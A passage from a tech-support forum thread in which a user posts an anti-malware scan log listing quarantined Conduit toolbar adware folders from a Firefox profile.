    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\cachedIcons, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\cachedIcons, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\res, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\api, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\msd, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\js\resources, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gadgetFrame, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\img, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\APPLICATION_BUTTON, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\APPLICATION_BUTTON\Js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\APPLICATION_BUTTON\resources, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\img, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\js\resources, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\Optimizer, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\Optimizer\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\css\custom-theme, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\css\custom-theme, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\buildSettings, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\Css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\resources, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
     
  11. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

